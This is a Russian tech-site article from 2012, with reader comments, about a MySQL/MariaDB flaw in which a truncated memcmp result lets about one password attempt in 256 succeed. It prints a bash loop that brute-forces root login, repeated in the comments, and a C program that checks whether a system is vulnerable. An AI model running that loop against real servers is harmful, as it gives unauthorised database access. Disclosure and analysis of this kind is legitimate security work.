Реклама
.
Рекламки



Авторизация






Последние комментарии
#1
2023 пишет: » Запостите:

s3r [точка] ru/stavka-tolko-na-linuks-et... (18.03.2023)
// ОСТОРОЖНО: ВИНДОФИЛИЯ!
#2
бронедрочец пишет: » В костылинуксе порядок таков: нужен нормальный кал... (02.03.2023)
// Обзор калькуляторов в GNU/Linux
#3
Линупсодав пишет: » Костылинупс на десктопе не взлетит без прикладнухи... (13.02.2023)
// ОСТОРОЖНО: ВИНДОФИЛИЯ!
#4
admin пишет: » БоЗяН, ожидаемо. (30.01.2023)
// ReactOS 0.4.1
#5
БоЗяН пишет: » Хех. Чёт делать было нечего - дело было вечером)))... (29.01.2023)
// ReactOS 0.4.1
Цитаты
Похоже, Линуксу пришел полный Минтец



Смешная уязвимость в MySQL под Ubuntu 64-bit | автор: Luca | 11 июня 2012

Категория: Open Source

Суть в том, что при подключении пользователя MariaDB/MySQL вычисляется токен (SHA поверх пароля плюс хэш), который сравнивается с ожидаемым значением. При этом функция memcmp() должна возвращать значение в диапазоне -128..127, но на некоторых платформах (похоже, в glibc в linux с оптимизацией под SSE) возвращаемое значение может выпадать из диапазона.

В итоге, в 1 случае из 256 процедура сравнения хэша с ожидаемым значением всегда возвращает значение true, независимо от хэша. Другими словами, система уязвима перед случайным паролем с вероятностью 1/256.









В итоге, простая команда на bash даёт злоумышленнику рутовый доступ к уязвимому серверу MySQL, даже если он не знает пароль.
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>

На данный момент дырка подтверждена в следующих конфигурациях:

Ubuntu linux 64-bit (10.04, 10.10, 11.04, 11.10, 12.04)
Debian linux 64-bit (пока непонятно, в каких конкретно версиях)
Arch linux (то же самое)

Официальные билды MySQL и MariaDB (включая Windows)
Red Hat Enterprise linux, CentOS, Fedora Core (32-bit и 64-bit)
Ubuntu linux 32-bit (10.04, 11.10, 12.04, вероятно все)
Debian linux 6.0.3 64-bit (Version 14.14 Distrib 5.5.18)
Debian linux lenny 32-bit 5.0.51a-24+lenny5
Debian linux lenny 64-bit 5.0.51a-24+lenny5
Debian linux lenny 64-bit 5.1.51-1-log
Debian linux squeeze 64-bit 5.1.49-3-log
Debian linux squeeze 32-bit 5.1.61-0+squeeze1
Debian linux squeeze 64-bit 5.1.61-0+squeeze1

программа проверки на уязвимость:
#include <stdio.h>
#include <stdlib.h>

int main(void) {
int one, two, ret;
time_t start = time(0);
time_t now;

srand(getpid()*start);
while (1) {
one = rand();
two = rand();
ret = memcmp(&one, &two, sizeof(int));
if (ret < -128 || ret > 127)
break;
time(&now);
if (now - start > 10) {
printf("Not triggered in 10 seconds, *probably* not vulnerable..\n");
return 1;
}
}
printf("Vulnerable! memcmp returned: %d\n", ret);
return 0;
}

источник



      ВНИМАНИЕ !
Возможно что-то уже неактуально. Обращайте внимание на даты !
Эта статья опубликована 11 июня 2012-го года !



Голосов: 857


Прочитано 12883 раз и оставлено 16 комментариев.





Комментарии посетителей
Как же так?!

#2. linupzer

1. липукс это йадро, так что мимо тазика
2. используйте постгрес
tongue

#3. beep

linupzer, а какже это все будет работать без ядра ?

#4. nixadmin

у меня как всегда не работают уязвимости.

RF Remix 16.1 Verne (x86_64)

mysql-5.5.23-1.fc16
glibc-2.14.90-24.fc16.7

А по теме: безопасность - не продукт а услуга, важно как быстро убунтовцы и дебианщики закроют обнаруженную уязвимость

#5. pavel2403

pavel2403
nixadmin написал:
безопасность - не продукт а услуга,
Безопасность -это не продукт и не услуга, это процесс! /Fixed
Так что? Линукс.. нинужен? ОМГ!! cool
Подтверждаю, баг наблюдается. MySQL 5.5.22, ubuntu 11.10.

Цитата:
При этом функция memcmp() должна возвращать значение в диапазоне -128..127

По стандарту memcmp должна возвращать int, который равен, меньше или больше нуля. Поведение функции вполне корректно. Ошибка была в MySQL. Дело в том, что проверяющая пароль функция была определена как доставляющая значение типа my_bool, основанного на char, но фактически возвращала результат memcmp, и происходило присваивание с усечением.

#8. dex

По стандарту memcmp должна возвращать int, который равен, меньше или больше нуля. Поведение функции вполне корректно. Ошибка была в MySQL. Дело в том, что проверяющая пароль функция была определена как доставляющая значение типа my_bool, основанного на char, но фактически возвращала результат memcmp, и происходило присваивание с усечением.,

Ну и зачем ты это выложил, местные тру иксперты- на техпортале закапывателей ГовноОси то все равно не поймут ничего из того что ты написал ;)

#9. NEMO

dex написал:
Ну и зачем ты это выложил, местные тру иксперты- на техпортале закапывателей ГовноОси то все равно не поймут ничего из того что ты написал ;)

Мне все понятно. Убейтесь.

#10. Павел

Так в Ubuntu уже вчера упал update.

#11. beep

Павел, с кем не бывает
из релиза написал:
В итоге, в 1 случае из 256 процедура сравнения хэша с ожидаемым значением всегда возвращает значение true, независимо от хэша. Другими словами, система уязвима перед случайным паролем с вероятностью 1/256.

В итоге, простая команда на bash даёт злоумышленнику рутовый доступ к уязвимому серверу MySQL, даже если он не знает пароль.
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>
,пипец,ты Пиндосию открыл,давно уже известно что все атаки делаются на линь-сервера и управляют атаками ток под линь-серверами ибо под виндой такая вакханалия недопустима(и чем больше кричат о Щвабодке тем больше серваков под бамбук становится,по ходу теория такая чем больше глюков и криков тем проще и заразней)biggrin Подождем лунатика с Аполона (у которого 3-и сервера на Луне и который в других OS даже IP адрес прописать не может,зато ботвы накидает и перейдет на личное,у лунА-ходов на личное это как я понял как здорово живешь и обоср#ть всех,прикольно меньше 1,5% пытается чет сделать,короче это секта-предлогаю запретить линукс в школах,пожалейте детей.)
biggrin

#14. Saturn

supermambet написал:
короче это секта-предлогаю запретить линукс в школах,пожалейте детей.)

У тебя что в школе линукс? И тебя учитель информатики замучил? Так лучше иди учись, чем на форумах ср#ть.

#15. KaeSkat

supermambet написал:
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>

supermambet, Что-то команда сильно напоминает анекдот про миллиард китайцев и сервер пентагона. В натуре клоуны...
Saturn написал:
У тебя что в школе линукс? И тебя учитель информатики замучил? Так лучше иди учись, чем на форумах ср#ть
поверь мне Сириус у меня даже информатики не было в школе,просто такой предмет позже появился.У тебя по ходу была информатика и ты ее тестами сдал на отлично.biggrin Я рад что меня школота за однокашника принимает.
KaeSkat написал:
supermambet, Что-то команда сильно напоминает анекдот про миллиард китайцев и сервер пентагона. В натуре клоуны...
up ,я ее из релиза скопировал,за сущность строки и ее ценность не могу сказать,хотя есть Сириус и видать он в школе отличником был(можно и у него поинтересоваться).